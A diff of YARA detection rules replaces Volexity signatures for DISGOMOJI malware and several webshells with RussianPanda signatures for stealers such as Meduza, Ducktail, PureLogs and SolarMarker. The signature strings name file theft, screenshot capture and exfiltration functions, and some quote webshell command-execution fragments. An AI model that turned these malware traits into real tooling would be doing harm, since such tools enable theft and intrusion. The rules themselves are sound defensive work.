-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L48-L69"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "030d8044b5d17ba8786ff7a4d6ac0282bc0b0e193ad89a3e84b5ba44505e5be5"
+		description = "Detects MeduzaStealer 1-2024"
+		author = "RussianPanda"
+		id = "6bc4c048-a32d-5a9c-b213-980c64d08d29"
+		date = "2024-01-01"
+		modified = "2024-01-01"
+		reference = "https://russianpanda.com/2023/06/28/Meduza-Stealer-or-The-Return-of-The-Infamous-Aurora-Stealer/"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/MeduzaStealer/MeduzaStealer_1-1-2024.yar#L1-L16"
+		license_url = "N/A"
+		logic_hash = "0547e51abd04302c45f1319bc21046ade019bc98eb85d9cba67cb2109ff642eb"
 		score = 75
-		quality = 80
-		tags = "UTA0137, FILE, MEMORY"
-		hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529"
-		os = "linux"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10268
-		version = 5
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$s1 = "discord-c2/test/main/payload.go" wide ascii
+		$s1 = {41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 57 69 6e 55 70 64 61 74 65 2e 65 78 65}
+		$s2 = {0f 57 ?? ?? ?? 00 00 66 0f 7f 85 ?? ?? 00 00}
+		$s3 = {48 8d 15 ?? ?? 05 00 49 8b cf}
+		$s4 = {48 8d 0d ?? ?? 06 00 ff 15 ?? ?? 06 00}
 
 	condition:
-		$s1
+		3 of ($s*) and filesize <1MB
 }
-rule VOLEXITY_Apt_Malware_Linux_Disgomoji_2 : UTA0137 FILE MEMORY
+rule RUSSIANPANDA_Darkgate_Autoit
 {
 	meta:
-		description = "Detects the DISGOMOJI malware using strings in the ELF."
-		author = "threatintel@volexity.com"
-		id = "609beb47-5e93-5f69-b89d-2cf62f20851a"
-		date = "2024-02-22"
-		modified = "2024-02-27"
-		reference = "TIB-20240228"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L71-L101"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "e03a774cca2946c1becdbd775ef465033dae089d578ea18a4f43fd7bdae9168e"
+		description = "Detects DarkGate AutoIT script"
+		author = "RussianPanda"
+		id = "b30544b5-88c9-5a84-8582-f4f72b228f24"
+		date = "2024-01-26"
+		modified = "2024-01-26"
+		reference = "https://yara.readthedocs.io/en/stable/writingrules.html?highlight=xor"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/DarkGate/darkgate_autoit.yar#L1-L19"
+		license_url = "N/A"
+		hash = "e1803b01e3f187355dbeb87a0c91b76c"
+		logic_hash = "dda6726d09035d6f61ca331d18ed37f032c6f6a5ab88e1754a21587f4c79ac87"
 		score = 75
-		quality = 80
-		tags = "UTA0137, FILE, MEMORY"
-		hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529"
-		os = "linux"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10266
-		version = 5
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "downloadFileFromURL" wide ascii
-		$s2 = "createCronJob" wide ascii
-		$s3 = "findAndSendFiles" wide ascii
-		$s4 = "updateLogFile" wide ascii
-		$s5 = "handleZipFile" wide ascii
-		$s6 = "takeScreenshot" wide ascii
-		$s7 = "zipFirefoxProfile" wide ascii
-		$s8 = "zipDirectoryWithParts" wide ascii
-		$s9 = "uploadAndSendToOshi" wide ascii
-		$s10 = "uploadAndSendToLeft" wide ascii
+		$h = "AU3!EA06"
+		$s1 = "just_test.txt" xor(0x01-0xff)
+		$s2 = "c:\\temp\\data.txt" xor(0x01-0xff)
+		$s3 = "test.txt" xor(0x01-0xff)
+		$s4 = "cc.txt" xor(0x01-0xff)
+		$s5 = "c:\\temp\\data.txt" xor(0x01-0xff)
+		$s6 = "uu.txt" xor(0x01-0xff)
 
 	condition:
-		7 of them
+		3 of ($s*) and $h
 }
-rule VOLEXITY_Apt_Malware_Linux_Disgomoji_1 : UTA0137 FILE MEMORY
+rule RUSSIANPANDA_Mal_Nitrogen : FILE
 {
 	meta:
-		description = "Detects the DISGOMOJI malware using strings in the ELF."
-		author = "threatintel@volexity.com"
-		id = "f6643e9a-ca41-57e0-9fce-571d340f1cfe"
-		date = "2024-02-22"
-		modified = "2024-02-27"
-		reference = "TIB-20240228"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L103-L129"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "dd3535079881ae9cfe25c129803668cb595be89b7f62eb82af19cc3839f92b6d"
+		description = "Detects Nitrogen campaign"
+		author = "RussianPanda"
+		id = "9d591f87-47ec-54ea-b0ae-26a0542733a0"
+		date = "2024-02-04"
+		modified = "2024-02-04"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Nitrogen/mal_nitrogen.yar#L1-L15"
+		license_url = "N/A"
+		logic_hash = "642d5a16c7fb217a297bba683221de474eb028ac48ec8f52be897eaa056acb9b"
 		score = 75
-		quality = 80
-		tags = "UTA0137, FILE, MEMORY"
-		hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529"
-		os = "linux"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10265
-		version = 4
+		quality = 79
+		tags = "FILE"
 
 	strings:
-		$s1 = "Session *%s* opened!" wide ascii
-		$s2 = "uevent_seqnum.sh" wide ascii
-		$s3 = "Error downloading shell script: %v" wide ascii
-		$s4 = "Error setting execute permissions: %v" wide ascii
-		$s5 = "Error executing shell script: %v" wide ascii
-		$s6 = "Error creating Discord session" wide ascii
+		$s1 = {63 7C 77 7B F2 6B 6F C5}
+		$s2 = {52 09 6A D5 30 36 A5 38}
+		$s3 = {6F 72 69 67 69 6E 61 6C 5F 69 6E 73 74 61 6C 6C}
+		$s4 = {43 3A 5C 55 73 65 72 73 5C 50 75 62 6C 69 63 5C 44 6F 77 6E 6C 6F 61 64}
+		$s5 = {25 00 43 00 55 00 52 00 52 00 45 00 4E 00 54 00 5F 00 44 00 45 00 52 00 45 00 43 00 54 00 4F 00 52 00 59 00 25}
+		$s6 = {4E 69 74 72 6F 67 65 6E 54 61 72 67 65 74}
 
 	condition:
-		4 of them
+		uint16(0)==0x5A4D and 5 of them
 }
-rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Bogus_Strings : UTA0137 FILE
+import "pe"
+
+rule RUSSIANPANDA_Nitrogen_Python311_Rule : FILE
 {
 	meta:
-		description = "Detects the DISGOMOJI malware using bogus strings introduced in the newer versions."
-		author = "threatintel@volexity.com"
-		id = "ecff8d3c-d4fe-5b6d-a227-6ff531cf8e2b"
-		date = "2024-03-14"
-		modified = "2024-03-14"
-		reference = "TIB-20240318"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L131-L157"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "0d8a2b371ffb182e60a8cc0cc500d1a9f906718a55f23f35f6c12f7faabbe971"
+		description = "Detects side-loaded Python311 DLL for the new Nitrogen campaign 10-23-2023"
+		author = "RussianPanda"
+		id = "608d20b2-24f8-5c95-bab5-83748a7bf3b1"
+		date = "2023-10-24"
+		modified = "2023-12-11"
+		reference = "https://www.esentire.com/blog/persistent-connection-established-nitrogen-campaign-leverages-dll-side-loading-technique-for-c2-communication"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Nitrogen/nitrogen_python311.yar#L3-L21"
+		license_url = "N/A"
+		logic_hash = "04db05b3b130c9de3ff02a6a16775be9d3a50d3025bcf1e075ae56c751304154"
 		score = 75
-		quality = 80
-		tags = "UTA0137, FILE"
-		hash1 = "8c8ef2d850bd9c987604e82571706e11612946122c6ab089bd54440c0113968e"
-		os = "linux"
-		os_arch = "all"
-		scan_context = "file"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10341
-		version = 3
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$s1 = "Graphics Display Rendering" wide ascii
-		$s2 = "Error fetching Repository Key: %v" wide ascii
-		$s3 = "Error reading Repository Key: %v" wide ascii
-		$s4 = "Error fetching dpkg: %v" wide ascii
-		$s5 = "GNU Drivers Latest version v1.4.2" wide ascii
-		$s6 = "ps_output.txt" wide ascii
+		$s1 = { 68 62 6F 6B 62 69 30 2F }
+		$s2 = { 48 B8 ?? ?? ?? ?? ?? ?? ?? 00 48 89 44 24 5C }
+		$s3 = { 48 8B 05 ?? ?? 09 00}
 
 	condition:
-		all of them
+		all of ($s*) and uint16(0)==0x5A4D and pe.exports("nop")
 }
-rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Script_Uevent_Seqnum : UTA0137 FILE
+import "pe"
+
+rule RUSSIANPANDA_Ducktail_Myrdpservice_Bot : FILE
 {
 	meta:
-		description = "Detects a script deployed as part of DISGOMOJI malware chain."
-		author = "threatintel@volexity.com"
-		id = "9df61164-6a92-5042-ba4f-64dc7e998283"
-		date = "2024-03-07"
-		modified = "2024-03-14"
-		reference = "TIB-20240318"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L159-L185"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "e390e83d9fc15499c9f32ad47d1c526273105602bda7b3532720b0a3f6abc835"
+		description = "Detects Ducktail myRdpService bot"
+		author = "RussianPanda"
+		id = "50786786-a7db-5290-a363-6fda139a0343"
+		date = "2023-12-24"
+		modified = "2023-12-26"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Ducktail/ducktail_myrdpservice-12-2023.yar#L3-L17"
+		license_url = "N/A"
+		logic_hash = "a329067fbb2acc34c4970167bbce0706c5a3ec09ee89ce16817c105ae1c17b1b"
 		score = 75
-		quality = 80
-		tags = "UTA0137, FILE"
-		hash1 = "98b24fb7aaaece7556aea2269b4e908dd79ff332ddaa5111caec49123840f364"
-		os = "linux"
-		os_arch = "all"
-		scan_context = "file"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10314
-		version = 3
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$s1 = "USB_DIR=\"/media/$USER\"" wide ascii
-		$s2 = "RECORD_FILE=\"record.txt\"" wide ascii
-		$s3 = "copy_files()" wide ascii
-		$s4 = "Check for connected USB drives" wide ascii
-		$s5 = "Check if filename already exists in record.txt" wide ascii
-		$s6 = "Function to copy files from USB drive to destination folder" wide ascii
+		$s1 = {43 00 3A 00 5C 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00 54 00 65 00 6D 00 70 00 5C 00 64 00 65 00 76 00 69 00 63 00 65 00 49 00 64 00 2E 00 74 00 78 00 74}
+		$s2 = {6C 00 6F 00 67 00 5F 00 72 00 64 00 70 00 2A}
+		$s3 = {00 43 00 6F 00 6E 00 6E 00 65 00 63 00 74 00 65 00 64 00}
 
 	condition:
-		3 of them
+		all of ($s*) and filesize <12MB and pe.exports("DotNetRuntimeDebugHeader")
 }
-rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Script_Lan_Conf : UTA0137 FILE
+rule RUSSIANPANDA_Ducktail : FILE
 {
 	meta:
-		description = "Detects a script deployed as part of DISGOMOJI malware chain."
-		author = "threatintel@volexity.com"
-		id = "b338b3cf-22ce-5767-bdea-503e883bc84b"
-		date = "2024-03-07"
-		modified = "2024-03-14"
-		reference = "TIB-20240318"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L187-L213"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "2a19d5cff7adc9b1b92538a5df4e3cadea694f925f65080f5093fc5425e840f4"
+		description = "Ducktail Infostealer"
+		author = "RussianPanda"
+		id = "14ba165f-a1f3-5820-a6d8-e2b6ab2fbb51"
+		date = "2023-04-25"
+		modified = "2023-05-05"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Ducktail/ducktail.yar#L1-L16"
+		license_url = "N/A"
+		logic_hash = "cb248870f6945d7a6d60d54944dc726d40ba326448af39b87325ec56445602a5"
 		score = 75
-		quality = 80
-		tags = "UTA0137, FILE"
-		hash1 = "0b5cf9bd917f0af03dd694ff4ce39b0b34a97c9f41b87feac1dc884a684f60ef"
-		os = "linux"
-		os_arch = "all"
-		scan_context = "file"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10312
-		version = 4
+		quality = 73
+		tags = "FILE"
 
 	strings:
-		$s1 = "add_lan_conf_cron_if_not_exists" wide ascii
-		$s2 = "download_if_not_exists" wide ascii
-		$s3 = "add_cron_if_not_exists" wide ascii
-		$s4 = "uevent_seqnum.sh" wide ascii
-		$s5 = "$HOME/.x86_64-linux-gnu" wide ascii
-		$s6 = "lanConfScriptPath" wide ascii
+		$s = {65 5f 73 71 6c 69 74 65 33 2e 64 6c 6c}
+		$s1 = {54 65 6c 65 67 72 61 6d 2e 42 6f 74 2e 64 6c 6c}
+		$s2 = {4e 65 77 74 6f 6e 73 6f 66 74 2e 4a 73 6f 6e 2e 64 6c 6c}
+		$s3 = {42 6f 75 6e 63 79 43 61 73 74 6c 65 2e 43 72 79 70 74 6f 2e 64 6c 6c}
+		$s4 = {53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 53 6f 63 6b 65 74 73 2e 43 6c 69 65 6e 74 2e 64 6c 6c}
+		$s5 = {53 79 73 74 65 6d 2e 4e 65 74 2e 4d 61 69 6c 2e 64 6c 6c}
 
 	condition:
-		4 of them
+		all of them and filesize >60MB
 }
-rule VOLEXITY_Malware_Golang_Discordc2_Bmdyy_1 : FILE MEMORY
+import "pe"
+
+rule RUSSIANPANDA_Ducktail_Mainbot : FILE
 {
 	meta:
-		description = "Detects a opensource malware available on github using strings in the ELF. DISGOMOJI used by UTA0137 is based on this malware."
-		author = "threatintel@volexity.com"
-		id = "6816d264-4311-5e90-948b-2e27cdf0b720"
-		date = "2024-03-28"
-		modified = "2024-03-28"
-		reference = "TIB-20240229"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L215-L241"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "22b3e5109d0738552fbc310344b2651ab3297e324bc883d5332c1e8a7a1df29b"
+		description = "Detects Ducktail mainbot"
+		author = "RussianPanda"
+		id = "f280903f-13d3-54e1-8308-781e3f777d13"
+		date = "2023-12-24"
+		modified = "2023-12-26"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Ducktail/ducktail_mainbot-12-2023.yar#L3-L19"
+		license_url = "N/A"
+		logic_hash = "33b85c6e1e1137aeeb07eba957b73d738a70ddc561b42bd2d39258e90280fca4"
 		score = 75
-		quality = 80
-		tags = "FILE, MEMORY"
-		hash1 = "de32e96d1f151cc787841c12fad88d0a2276a93d202fc19f93631462512fffaf"
-		os = "all"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10390
-		version = 2
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$s1 = "File is bigger than 8MB" wide ascii
-		$s2 = "Uploaded file to" wide ascii
-		$s3 = "sess-%d" wide ascii
-		$s4 = "Session *%s* opened" wide ascii
-		$s5 = "%s%d_%dx%d.png" wide ascii
+		$s1 = {2F 00 61 00 70 00 69 00 2F 00 63 00 68 00 65 00 63 00 6B}
+		$s2 = {62 00 65 00 67 00 69 00 6E 00 20 00 63 00 6F 00 6E 00 6E 00 65 00 63 00 74}
+		$s3 = {62 00 65 00 67 00 69 00 6E 00 20 00 66 00 6C 00 75 00 73 00 68 00 20 00 64 00 6E 00 73}
+		$s4 = {62 00 65 00 67 00 69 00 6E 00 20 00 73 00 65 00 6E 00 64 00 69 00 6E 00 67}
 
 	condition:
-		4 of them
+		all of ($s*) and filesize <12MB and pe.exports("DotNetRuntimeDebugHeader")
 }
-rule VOLEXITY_Malware_Golang_Discordc2_Bmdyy : FILE MEMORY
+rule RUSSIANPANDA_Purelogs_Stealer_Initial_Dropper : FILE
 {
 	meta:
-		description = "Detects a opensource malware available on github using strings in the ELF. DISGOMOJI used by UTA0137 is based on this malware."
-		author = "threatintel@volexity.com"
-		id = "1ddbf476-ba2d-5cbb-ad95-38e0ae8db71b"
-		date = "2024-02-22"
-		modified = "2024-03-28"
-		reference = "https://github.com/bmdyy/discord-c2"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L243-L265"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "38b860a43b9937351f74b01983888f18ad101cbe66560feb7455d46b713eba0f"
+		description = "Detects PureLogs Stealer Initial Payload"
+		author = "RussianPanda"
+		id = "c1e6a0a0-f8ed-5b78-bcae-55c1c1dfc9e4"
+		date = "2024-01-10"
+		modified = "2024-01-10"
+		reference = "https://russianpanda.com/2023/12/26/Pure-Logs-Stealer-Malware-Analysis/"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Pure Logs Stealer/purelogs_stealer_initial_payload.yar#L1-L19"
+		license_url = "N/A"
+		logic_hash = "0fe94c705b94f82163f952d0a29aac4689947a1d439bdc1847ee510c25cf2e40"
 		score = 75
-		quality = 80
-		tags = "FILE, MEMORY"
-		hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529"
-		os = "all"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10264
-		version = 10
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$s1 = "**IP**: %s\n**User**: %s\n**Hostname**: %s\n**OS**: %s\n**CWD**" wide ascii
+		$s1 = {73 ?? 00 00 06 28 ?? 00 00 ?? 2A}
+		$s2 = {28 ?? 00 00 06 74 ?? 00 00 1B 28 ?? 00 00 0A 2A}
+		$s3 = {28 ?? 00 00 ?? 75 ?? 00 00 01 72 ?? 00 00 70 6F ?? 00 00 0A 2A}
+		$s4 = {28 ?? 00 00 ?? 75 ?? 00 00 01 72 ?? 00 00 ?? 20 00 01 00 00 14 14 14 6F ?? 00 00 ?? 26}
+		$s5 = {28 ?? 00 00 ?? 73 ?? 00 00 [29] 73 15 00 00 0A [22] 28 01 00 00 2B 28 02 00 00 2B}
 
 	condition:
-		$s1
+		all of ($s*) and uint16(0)==0x5A4D and filesize <1MB
 }
-rule VOLEXITY_Apt_Webshell_Pl_Complyshell : UTA0178 FILE MEMORY
+import "pe"
+
+rule RUSSIANPANDA_Purelogs_Stealer_Core : FILE
 {
 	meta:
-		description = "Detection for the COMPLYSHELL webshell."
-		author = "threatintel@volexity.com"
-		id = "6b44b5bc-a75f-573c-b9c3-562b7874e408"
-		date = "2023-12-13"
-		modified = "2024-01-09"
-		reference = "TIB-20231215"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L1-L22"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "ff46691f1add20cff30fe996e2fb199ce42408e86d5642a8a43c430f2245b1f5"
+		description = "Detects Pure Logs Stealer Core Payload"
+		author = "RussianPanda"
+		id = "bda876c3-76ce-5e1e-8dd4-f06e8240fc11"
+		date = "2023-12-26"
+		modified = "2024-01-10"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/Pure Logs Stealer/purelogs_stealer_core.yar#L3-L18"
+		license_url = "N/A"
+		logic_hash = "7388299ebcc70aeb86c46c29a787f790993a67148d9f3968def1109e45f69452"
 		score = 75
-		quality = 80
-		tags = "UTA0178, FILE, MEMORY"
-		hash1 = "8bc8f4da98ee05c9d403d2cb76097818de0b524d90bea8ed846615e42cb031d2"
-		os = "linux"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 9995
-		version = 4
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$s = "eval{my $c=Crypt::RC4->new("
+		$s1 = {7E 58 00 00 0A [15] 28 20 00 00 0A 18 6F 0A 02 00 0A 0B}
+		$s2 = {50 6C 67 43 6F 72 65}
+		$s3 = {7E 64 01 00 0A 28 65 01 00 0A}
 
 	condition:
-		$s
+		all of ($s*) and filesize <5MB and pe.imports("mscoree.dll")
 }
-rule VOLEXITY_Apt_Webshell_Aspx_Glasstoken : UTA0178 FILE MEMORY
+rule RUSSIANPANDA_Solarmarker_First_Stage_Payload : FILE
 {
 	meta:
-		description = "Detection for a custom webshell seen on external facing server. The webshell contains two functions, the first is to act as a Tunnel, using code borrowed from reGeorg, the second is custom code to execute arbitrary .NET code."
-		author = "threatintel@volexity.com"
-		id = "5d96294c-aa61-5752-ab06-d5b27f6ac3a1"
-		date = "2023-12-12"
-		modified = "2024-01-09"
-		reference = "TIB-20231215"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L24-L49"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "34844dc2ba4b18b25dcb5b14b7b80ec655595c9638600a0f2a6367610c542dd1"
+		description = "Detects SolarMarker First Stage payload"
+		author = "RussianPanda"
+		id = "56eec644-9ad7-51db-9d11-68ea3e12c36a"
+		date = "2024-01-30"
+		modified = "2024-01-30"
+		reference = "https://x.com/luke92881/status/1751968350689771966?s=20"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/SolarMarker/solarmarker_first_stage_payload.yar#L1-L21"
+		license_url = "N/A"
+		hash = "f53563541293a826738d3b8f1164ea43"
+		logic_hash = "e704614782b0f3cba60c53413e889113d2d44f37e60801205e5ed5ff921b13ee"
 		score = 75
-		quality = 80
-		tags = "UTA0178, FILE, MEMORY"
-		hash1 = "26cbb54b1feb75fe008e36285334d747428f80aacdb57badf294e597f3e9430d"
-		os = "win"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 9994
-		version = 5
+		quality = 71
+		tags = "FILE"
 
 	strings:
-		$s1 = "=Convert.FromBase64String(System.Text.Encoding.Default.GetString(" ascii
-		$re = /Assembly\.Load\(errors\)\.CreateInstance\("[a-z0-9A-Z]{4,12}"\).GetHashCode\(\);/
+		$s1 = {63 72 65 64 75 69}
+		$s2 = {43 72 65 64 55 49 50 72 6F 6D 70 74 46 6F 72 43 72 65 64 65 6E 74 69 61 6C 73}
+		$s3 = {50 6F 77 65 72 53 68 65 6C 6C}
+		$s4 = {73 65 74 5F 43 75 72 73 6F 72 50 6F 73 69 74 69 6F 6E}
+		$s5 = {73 65 74 5F 41 63 63 65 70 74 42 75 74 74 6F 6E}
+		$s6 = {4D 65 73 73 61 67 65 42 6F 78 42 75 74 74 6F 6E 73}
+		$s7 = {41 67 69 6C 65 44 6F 74 4E 65 74 52 54}
+		$s8 = "_CorExeMain"
 
 	condition:
-		for any i in (0..#s1) : ($re in (@s1[i]..@s1[i]+512))
+		all of them and filesize >250MB
 }
-rule VOLEXITY_Webshell_Aspx_Regeorg : FILE MEMORY
+rule RUSSIANPANDA_Solarmarker_Loader_PS2EXE : FILE
 {
 	meta:
-		description = "Detects the reGeorg webshell based on common strings in the webshell. May also detect other webshells which borrow code from ReGeorg."
-		author = "threatintel@volexity.com"
-		id = "02365a30-769e-5c47-8d36-a79608ffd121"
-		date = "2018-08-29"
-		modified = "2024-01-09"
-		reference = "TIB-20231215"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L51-L83"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		hash = "9d901f1a494ffa98d967ee6ee30a46402c12a807ce425d5f51252eb69941d988"
-		logic_hash = "4fed023e85a32052917f6db1e2e155c91586538938c03acc59f200a8264888ca"
+		description = "Detects SolarMarker loader using PS2EXE"
+		author = "RussianPanda"
+		id = "837883a1-b657-52ae-95c4-ebafc8ac55de"
+		date = "2024-01-04"
+		modified = "2024-01-04"
+		reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/SolarMarker/solarmarker_loader.yar#L1-L17"
+		license_url = "N/A"
+		hash = "b45c31679c2516b38c7ff8c395f1d11d"
+		logic_hash = "4f579f350c3320e7b811cae0efe7302e852f59adc02d805f64ba464f8a995f25"
 		score = 75
-		quality = 80
-		tags = "FILE, MEMORY"
-		os = "win"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 410
-		version = 7
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$a1 = "every office needs a tool like Georg" ascii
-		$a2 = "cmd = Request.QueryString.Get(\"cmd\")" ascii
-		$a3 = "exKak.Message" ascii
-		$proxy1 = "if (rkey != \"Content-Length\" && rkey != \"Transfer-Encoding\")"
-		$proxy_b1 = "StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding(\"UTF-8\"));" ascii
-		$proxy_b2 = "string rbody = repBody.ReadToEnd();" ascii
-		$proxy_b3 = "Response.AddHeader(\"Content-Length\", rbody.Length.ToString());" ascii
+		$s1 = {72 7B 02 00 70 72 89 02 00 70 72 91 02 00 70 [22] 72 97 02 00 70 72 AB 02 00 70 72 B5 02 00 70}
+		$s2 = {13 0D 72 [3] 70}
+		$s3 = {72 C1 02 00 70 72 B2 03 00 70 72 B8 03 00 70}
 
 	condition:
-		any of ($a*) or $proxy1 or all of ($proxy_b*)
+		all of ($s*) and filesize >200MB
 }
-rule VOLEXITY_Hacktool_Py_Pysoxy : FILE MEMORY
+rule RUSSIANPANDA_Solardropper
 {
 	meta:
-		description = "SOCKS5 proxy tool used to relay connections."
-		author = "threatintel@volexity.com"
-		id = "88094b55-784d-5245-9c40-b1eebf0e6e72"
-		date = "2024-01-09"
-		modified = "2024-01-09"
-		reference = "TIB-20240109"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L85-L111"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "f73e9d3c2f64c013218469209f3b69fc868efafc151a7de979dde089bfdb24b2"
+		description = "SolarMarker first stage detection"
+		author = "RussianPanda"
+		id = "8e40b001-ae00-5768-bb91-e45264748087"
+		date = "2024-01-03"
+		modified = "2024-01-03"
+		reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back"
